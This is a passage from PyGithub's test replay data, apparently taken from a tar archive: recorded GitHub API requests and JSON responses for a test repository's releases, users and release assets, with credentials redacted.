('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B72C:0A3E:91DB61:F5C409:5F0D5446')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530302","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28530302/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28530302/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.25.2","id":28530302,"node_id":"MDc6UmVsZWFzZTI4NTMwMzAy","tag_name":"v1.25.2","target_commitish":"813da528da46ef4cbb28d2018eaa6d4b3d56f40f","name":"release title","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T06:44:21Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22855026","id":22855026,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODU1MDI2","name":"foobar.zip","label":"","uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/zip","state":"uploaded","size":140,"download_count":0,"created_at":"2020-07-14T06:44:22Z","updated_at":"2020-07-14T06:44:22Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.25.2/foobar.zip"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.25.2","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.25.2","body":"release message"} https DELETE api.github.com None /repos/rickrickston123/RepoTest/releases/28530302 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:44:23 GMT'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4826'), ('X-RateLimit-Reset', '1594712357'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', 'B734:1187:A70816:118856C:5F0D5447')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseRead.testAttributes.txt0000644000175100001660000003375614756101563024136 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4825'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE66:336F:51644F:BC2E83:5F0D54BB')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4824'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE6E:2D26:26E42E:6893BA:5F0D54BC')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/latest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4823'), ('X-RateLimit-Reset', '1594712356'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE76:7DAC:267C29:657BD7:5F0D54BC')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"prerelease":false,"created_at":"2020-07-12T07:34:42Z","published_at":"2020-07-14T00:58:20Z","assets":[{"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/assets/22848494","id":22848494,"node_id":"MDEyOlJlbGVhc2VBc3NldDIyODQ4NDk0","name":"fact","label":null,"uploader":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"content_type":"application/octet-stream","state":"uploaded","size":40,"download_count":0,"created_at":"2020-07-14T00:58:17Z","updated_at":"2020-07-14T00:58:18Z","browser_download_url":"https://github.com/rickrickston123/RepoTest/releases/download/v1.0/fact"}],"tarball_url":"https://api.github.com/repos/rickrickston123/RepoTest/tarball/v1.0","zipball_url":"https://api.github.com/repos/rickrickston123/RepoTest/zipball/v1.0","body":"Body"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/ReleaseRead.testGetAssets.txt0000644000175100001660000004716314756101563023707 0ustar00runnerdockerhttps GET api.github.com None /users/rickrickston123 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4822'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f72fa7561e862bb9391d5440956a4d9b"'), ('Last-Modified', 'Tue, 14 Jul 2020 06:41:30 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE7E:14B2:56B6B9:C6B6AD:5F0D54BD')] {"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":2,"public_gists":0,"followers":0,"following":0,"created_at":"2020-05-02T22:39:16Z","updated_at":"2020-07-14T06:41:30Z","private_gists":0,"total_private_repos":2,"owned_private_repos":2,"disk_usage":65,"collaborators":0,"two_factor_authentication":false,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":10000}} https GET api.github.com None /repos/rickrickston123/RepoTest {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:21 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4821'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"99dcef5058cca871445c2e0d357c6ff7"'), ('Last-Modified', 'Sun, 12 Jul 2020 07:34:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE86:3F8B:7EC88E:DF5640:5F0D54BD')] {"id":279015286,"node_id":"MDEwOlJlcG9zaXRvcnkyNzkwMTUyODY=","name":"RepoTest","full_name":"rickrickston123/RepoTest","private":false,"owner":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickrickston123/events{/privacy}","received_events_url":"https://api.github.com/users/rickrickston123/received_events","type":"User","site_admin":false},"html_url":"https://github.com/rickrickston123/RepoTest","description":null,"fork":false,"url":"https://api.github.com/repos/rickrickston123/RepoTest","forks_url":"https://api.github.com/repos/rickrickston123/RepoTest/forks","keys_url":"https://api.github.com/repos/rickrickston123/RepoTest/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rickrickston123/RepoTest/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rickrickston123/RepoTest/teams","hooks_url":"https://api.github.com/repos/rickrickston123/RepoTest/hooks","issue_events_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/events{/number}","events_url":"https://api.github.com/repos/rickrickston123/RepoTest/events","assignees_url":"https://api.github.com/repos/rickrickston123/RepoTest/assignees{/user}","branches_url":"https://api.github.com/repos/rickrickston123/RepoTest/branches{/branch}","tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/tags","blobs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/refs{/sha}","trees_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rickrickston123/RepoTest/statuses/{sha}","languages_url":"https://api.github.com/repos/rickrickston123/RepoTest/languages","stargazers_url":"https://api.github.com/repos/rickrickston123/RepoTest/stargazers","contributors_url":"https://api.github.com/repos/rickrickston123/RepoTest/contributors","subscribers_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscribers","subscription_url":"https://api.github.com/repos/rickrickston123/RepoTest/subscription","commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/commits{/sha}","git_commits_url":"https://api.github.com/repos/rickrickston123/RepoTest/git/commits{/sha}","comments_url":"https://api.github.com/repos/rickrickston123/RepoTest/comments{/number}","issue_comment_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues/comments{/number}","contents_url":"https://api.github.com/repos/rickrickston123/RepoTest/contents/{+path}","compare_url":"https://api.github.com/repos/rickrickston123/RepoTest/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rickrickston123/RepoTest/merges","archive_url":"https://api.github.com/repos/rickrickston123/RepoTest/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rickrickston123/RepoTest/downloads","issues_url":"https://api.github.com/repos/rickrickston123/RepoTest/issues{/number}","pulls_url":"https://api.github.com/repos/rickrickston123/RepoTest/pulls{/number}","milestones_url":"https://api.github.com/repos/rickrickston123/RepoTest/milestones{/number}","notifications_url":"https://api.github.com/repos/rickrickston123/RepoTest/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rickrickston123/RepoTest/labels{/name}","releases_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases{/id}","deployments_url":"https://api.github.com/repos/rickrickston123/RepoTest/deployments","created_at":"2020-07-12T07:34:41Z","updated_at":"2020-07-12T07:34:45Z","pushed_at":"2020-07-14T00:11:49Z","git_url":"git://github.com/rickrickston123/RepoTest.git","ssh_url":"git@github.com:rickrickston123/RepoTest.git","clone_url":"https://github.com/rickrickston123/RepoTest.git","svn_url":"https://github.com/rickrickston123/RepoTest","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"network_count":0,"subscribers_count":0} https GET api.github.com None /repos/rickrickston123/RepoTest/releases/28524234 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 14 Jul 2020 06:46:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4820'), ('X-RateLimit-Reset', '1594712357'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"0af43d7e5a11d1f3e8c6a83292de12c0"'), ('Last-Modified', 'Tue, 14 Jul 2020 00:58:20 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'BE8E:0F97:887D5:192452:5F0D54BD')] {"url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234","assets_url":"https://api.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets","upload_url":"https://uploads.github.com/repos/rickrickston123/RepoTest/releases/28524234/assets{?name,label}","html_url":"https://github.com/rickrickston123/RepoTest/releases/tag/v1.0","id":28524234,"node_id":"MDc6UmVsZWFzZTI4NTI0MjM0","tag_name":"v1.0","target_commitish":"master","name":"Test","draft":false,"author":{"login":"rickrickston123","id":64711998,"node_id":"MDQ6VXNlcjY0NzExOTk4","avatar_url":"https://avatars0.githubusercontent.com/u/64711998?v=4","gravatar_id":"","url":"https://api.github.com/users/rickrickston123","html_url":"https://github.com/rickrickston123","followers_url":"https://api.github.com/users/rickrickston123/followers","following_url":"https://api.github.com/users/rickrickston123/following{/other_user}","gists_url":"https://api.github.com/users/rickrickston123/gists{/gist_id}","starred_url":"https://api.github.com/users/rickrickston123/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rickrickston123/subscriptions","organizations_url":"https://api.github.com/users/rickrickston123/orgs","repos_url":"https://api.github.com/users/rickrickston123/repos","events_url":"https://api.github.com/users/rickricksto